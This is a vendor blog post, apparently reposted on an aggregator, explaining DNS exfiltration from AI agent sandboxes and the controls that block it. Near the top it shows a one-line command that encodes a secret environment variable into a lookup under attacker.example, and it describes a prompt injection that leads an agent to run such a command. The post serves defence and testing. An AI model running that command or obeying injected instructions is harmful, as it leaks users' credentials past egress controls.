跳到正文
DEV Community· Sandscale·· 1 小時前AI 評分68

DNS 數據外洩解説:封鎖外連流量的網絡如何仍會洩漏資料

DNS exfiltration explained: how data leaves a network that blocks outbound traffic

AI 導讀

DNS 數據外洩可把秘密資料編碼在網域名稱查詢中,經沙盒允許的 DNS resolver 傳到攻擊者的權威 DNS 伺服器,繞過只限制 HTTP 外連的控制。文章建議預設不提供網絡介面、只允許連接指定 resolver,並由 resolver 按白名單拒絕其他網域;亦要封鎖 DNS over HTTPS 和 DNS over TLS,審查範圍過廣的萬用字元。

正文

You have locked down an agent's sandbox: outbound connections go only to the package registry and one internal API. A prompt-injected script tries to curl your environment variables to an attacker's server and fails. Good. Then it runs this instead, in effect:

host "$(printf '%s' "$SECRET" | base32 | tr -d '=' | tr 'A-Z' 'a-z').x.attacker.example"

The lookup fails with "not found", and the script does not care. The secret has already left. This is DNS exfiltration, and it is one of the most common gaps in egress controls that were designed around HTTP.

How it works

DNS is a delegation system. When a program looks up abc123.x.attacker.example, it asks a resolver. If the resolver does not have the answer cached, it asks the root servers who handles .example, then asks those servers who handles attacker.example, and finally asks the attacker's own name server about abc123.x.attacker.example.

That last step is the leak. The attacker runs the authoritative name server for their domain, so they see every query for any name under it, including whatever data was packed into the leftmost labels. They do not need to answer correctly. The question itself is the message.

Two properties make this practical:

  • The sandbox never talks to the attacker directly. It talks to its configured resolver, which is usually allowed, and the resolver does the rest. An allowlist that only covers TCP connections never sees it.
  • Capacity is small but enough. RFC 1035 limits labels to 63 octets and names to 255 octets, so each query carries a modest amount of data. An API key fits in one query. A file takes many queries, which is slower but still works.

The traffic can go both ways. Answers can carry data back, so DNS can serve as a slow command channel too. MITRE ATT&CK lists this under Application Layer Protocol: DNS, noting that DNS traffic is common, and so it blends in, and that data can be concealed in many of its fields.

Why agent sandboxes are exposed

Agent code is a good fit for this attack. A prompt injection only has to convince the agent to run one command; it does not need a foothold. Agents also run lots of legitimate commands that resolve names, such as package installs and git fetches, so a few extra lookups do not stand out in a log nobody reads.

The usual failure is an egress design that says "allow HTTPS to these hosts" and quietly leaves resolution open, because the allowed hosts have to be resolved somehow. Our post on egress allowlist design covers the HTTP side. This post is about the part underneath it.

Controls that work

1. No network at all, when you can

A sandbox with no network interface cannot resolve anything. Many agent tasks, such as running tests on code that is already there, analyzing a file or executing a snippet, need no network. Make no network the default and add it only for tasks that need it.

2. Control the resolver, and only the resolver

If the sandbox needs names resolved, give it exactly one resolver and block everything else:

  • Block outbound UDP and TCP port 53 to any address except your resolver.
  • Block DNS over HTTPS (RFC 8484) and DNS over TLS endpoints, or better, block all HTTPS except the allowlist, which covers public DoH services automatically.
  • Do not let the sandbox change its own resolver configuration in a way that matters; enforce the rule outside the sandbox.

3. Make the resolver enforce the allowlist

A resolver that will look up any name is still a relay to every authoritative server on the internet. The resolver for a locked-down sandbox should only resolve the names on the allowlist, and refuse everything else without forwarding it. A refused query for abc123.x.attacker.example that never leaves your network leaks nothing.

4. Pin resolution to the allowlist, not to patterns that are too broad

An allowlist entry like *.example-cdn.net might be necessary, but it also lets any subdomain through. If the wildcard's parent domain is one where outsiders can create names, for example a shared hosting platform, an attacker may be able to register a subdomain under it and read its queries. Prefer exact names, and review every wildcard.

5. Log queries and alert on shape

Even with enforcement, log what the sandbox asks for. Long, random-looking labels, high query volume to one parent domain, and many unique names that all fail are classic signs. These are detection, not prevention, so they complement the steps above rather than replace them.

Test your own setup

Do not assume; check. You need a domain you control and access to its authoritative DNS logs, or a DNS logging service you trust.

  1. From inside a sandbox in the network mode you want to test, look up a unique name under your domain, such as test-<random>.yourdomain.example, using the system resolver.
  2. Repeat with a direct query to a public resolver's IP on port 53.
  3. Repeat with a DoH request to a public DoH endpoint.
  4. Check your authoritative logs for each unique name.

Any name that shows up in your logs left the sandbox. Write down what you tested and when, and repeat after changing network policy.

Where Sandscale fits

When you start a sandbox without asking for a network, the SDK and API reference document the network mode as none, so there is no path to resolve over. For tasks that need the network, allowlist mode limits a sandbox to your organization's egress allowlist. Apply the test above to the mode you use: the method works the same for any provider, us included, and a test result beats any vendor's description.

Whatever you run, keep the principle in mind: an egress control that does not cover name resolution is a control with a side door.

Originally published on the Sandscale blog.

來源:DEV Community · dev.to